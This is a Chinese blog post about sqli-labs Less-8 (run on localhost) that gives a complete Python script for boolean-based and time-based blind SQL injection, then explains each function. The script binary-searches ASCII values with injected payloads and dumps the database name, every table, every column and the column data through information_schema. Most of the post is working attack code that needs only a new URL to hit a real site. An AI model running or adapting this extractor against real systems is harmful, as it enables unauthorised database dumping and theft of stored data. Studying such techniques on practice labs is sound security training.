时间盲注,boolen盲注 中 获取表、列、具体数据的函数

发布于:2025-02-14 ⋅ 阅读:(28) ⋅ 点赞:(0)
import requests
import time

# 创建会话对象,用于保持与目标服务器的会话状态,便于多次请求
session = requests.session()
# 目标URL,是存在SQL注入漏洞的页面地址
url = "http://127.0.0.1/sqlilabs/Less-8/index.php"


# 通过布尔盲注获取当前使用的数据库名称
def getDatabase(url):
    results = []
    # 循环获取数据库名称的前7个字符
    for i in range(1, 8):
        # 二分查找ASCII码范围
        low, high = 32, 127
        while low <= high:
            mid = (low + high) // 2
            # 构造SQL注入参数,判断数据库名称第i个字符的ASCII码是否小于等于mid
            payload = {'id': f"1' and ord(substr(database(),{i},1))<={mid}--"}
            ret = session.get(url=url, params=payload)
            if 'You are in' in ret.text:
                high = mid - 1
                if low == mid:
                    # 找到字符,添加到结果列表
                    results.append(chr(mid))
                    print(''.join(results))
                    break
            else:
                low = mid + 1
    return ''.join(results)


# 通过时间盲注获取查询结果
def timeBasedBlindInjection(url, query):
    result = ""
    # 循环获取结果的前100个字符
    for i in range(1, 100):
        low, high = 32, 127
        while low <= high:
            mid = (low + high) // 2
            # 构造时间盲注参数,若字符ASCII码小于等于mid则让服务器休眠2秒
            payload = {'id': f"1' and if(ascii(substr(({query}),{i},1))<={mid},sleep(2),1)--"}
            start = time.time()
            ret = session.get(url=url, params=payload)
            elapsed_time = time.time() - start
            if elapsed_time >= 2:
                high = mid - 1
                if low == mid:
                    # 找到字符,添加到结果字符串
                    result += chr(mid)
                    print(result)
                    break
            else:
                low = mid + 1
    return result


# 通过布尔盲注获取查询结果
def booleanBasedBlindInjection(url, query):
    result = ""
    # 循环获取结果的前100个字符
    for i in range(1, 100):
        low, high = 32, 127
        while low <= high:
            mid = (low + high) // 2
            # 构造布尔盲注参数,判断结果第i个字符的ASCII码是否小于等于mid
            payload = {'id': f"1' and ascii(substr(({query}),{i},1))<={mid}--"}
            ret = session.get(url=url, params=payload)
            if 'You are in' in ret.text:
                high = mid - 1
                if low == mid:
                    # 找到字符,添加到结果字符串
                    result += chr(mid)
                    print(result)
                    break
            else:
                low = mid + 1
    return result


# 获取指定数据库中的所有表名
def getTable(url, database_name):
    # 构造SQL查询语句,从系统表中获取表名
    query = f"select group_concat(table_name) from information_schema.tables where table_schema = '{database_name}'"
    return booleanBasedBlindInjection(url, query)


# 获取指定数据库和表中的所有列名
def getColumn(url, database_name, table_name):
    # 构造SQL查询语句,从系统表中获取列名
    query = f"select group_concat(column_name) from information_schema.columns where table_schema = '{database_name}' and table_name = '{table_name}'"
    return booleanBasedBlindInjection(url, query)


# 获取指定数据库、表和列中的数据
def getResult(url, database_name, table_name, column_name):
    # 构造SQL查询语句,获取表中指定列的数据
    query = f"select group_concat({column_name}) from {database_name}.{table_name}"
    return booleanBasedBlindInjection(url, query)


# 记录程序开始时间
start = time.time()
# 获取数据库名称
database_name = getDatabase(url)
print(f"Database Name: {database_name}")

# 获取数据库中的所有表名
tables = getTable(url, database_name)
print(f"Tables in {database_name}: {tables}")

if tables:
    table_list = tables.split(',')
    for table in table_list:
        # 获取表中的所有列名
        columns = getColumn(url, database_name, table)
        print(f"Columns in {table}: {columns}")
        if columns:
            column_list = columns.split(',')
            for column in column_list:
                # 获取列中的数据
                data = getResult(url, database_name, table, column)
                print(f"Data in {table}.{column}: {data}")

# 打印程序运行总耗时
print(f'time spend: {time.time() - start}')

getDatabase 函数:                     

  • 功能:获取数据库名称。
  • 实现逻辑
    • 外层 for 循环遍历数据库名称的每个字符位置(假设数据库名称最多 7 个字符)。
    • 初始化 low 和 high 分别为 ASCII 码的下限 32 和上限 127。
    • 内层 while 循环使用二分查找法,不断缩小字符 ASCII 码的范围。
    • 构造 SQL 注入 payload,通过 ord(substr(database(),{i},1))<={mid} 判断数据库名称第 i 个字符的 ASCII 码是否小于等于 mid
    • 发送 GET 请求,根据响应文本中是否包含 You are in 来调整 low 和 high 的值。如果包含,说明目标字符的 ASCII 码小于等于 mid,将 high 设为 mid - 1;否则,将 low 设为 mid + 1
    • 当 low 和 mid 相等时,说明找到了正确的字符,将其添加到 results 列表中,并打印当前已获取的数据库名称部分。
    • 最后将 results 列表拼接成字符串返回。

timeBasedBlindInjection 函数:        

  • 功能:基于时间盲注获取数据。
  • 实现逻辑
    • 外层 for 循环遍历结果字符串的每个字符位置(假设结果最多 100 个字符)。
    • 初始化 low 和 high 为 ASCII 码范围。
    • 内层 while 循环同样使用二分查找。
    • 构造 payload,通过 if(ascii(substr(({query}),{i},1))<={mid},sleep(2),1) 判断,如果条件成立则执行 sleep(2) 函数,使服务器响应延迟 2 秒。
    • 记录请求开始时间 start,发送 GET 请求后计算响应时间 elapsed_time。如果响应时间大于等于 2 秒,说明目标字符的 ASCII 码小于等于 mid,调整 high;否则调整 low
    • 找到正确字符后添加到 result 字符串并打印,最后返回完整的结果字符串。

booleanBasedBlindInjection 函数

  • 功能:基于布尔盲注获取数据。
  • 实现逻辑:与 getDatabase 函数类似,通过二分查找确定每个字符的 ASCII 码。构造 payload 判断 ascii(substr(({query}),{i},1))<={mid},根据响应文本中是否包含 You are in 来调整 low 和 high 的值,最终获取结果字符串。

getTable 函数

  • 功能:获取指定数据库中的所有表名。
  • 实现逻辑:构造 SQL 查询语句,从 information_schema.tables 系统表中查询指定数据库(database_name)的所有表名,使用 group_concat 函数将结果合并为一个字符串。然后调用 booleanBasedBlindInjection 函数执行查询并返回结果。

getColumn 函数     

  • 功能:获取指定数据库和表中的所有列名。
  • 实现逻辑:构造 SQL 查询语句,从 information_schema.columns 系统表中查询指定数据库(database_name)和表(table_name)的所有列名,同样使用 group_concat 函数合并结果。调用 booleanBasedBlindInjection 函数执行查询并返回结果。

getResult 函数

  • 功能:获取指定数据库、表和列中的数据。
  • 实现逻辑:构造普通的 SELECT 查询语句,从指定数据库(database_name)的指定表(table_name)中查询指定列(column_name)的数据,并使用 group_concat 函数合并结果。调用 booleanBasedBlindInjection 函数执行查询并返回结果。

网站公告

今日签到

点亮在社区的每一天
去签到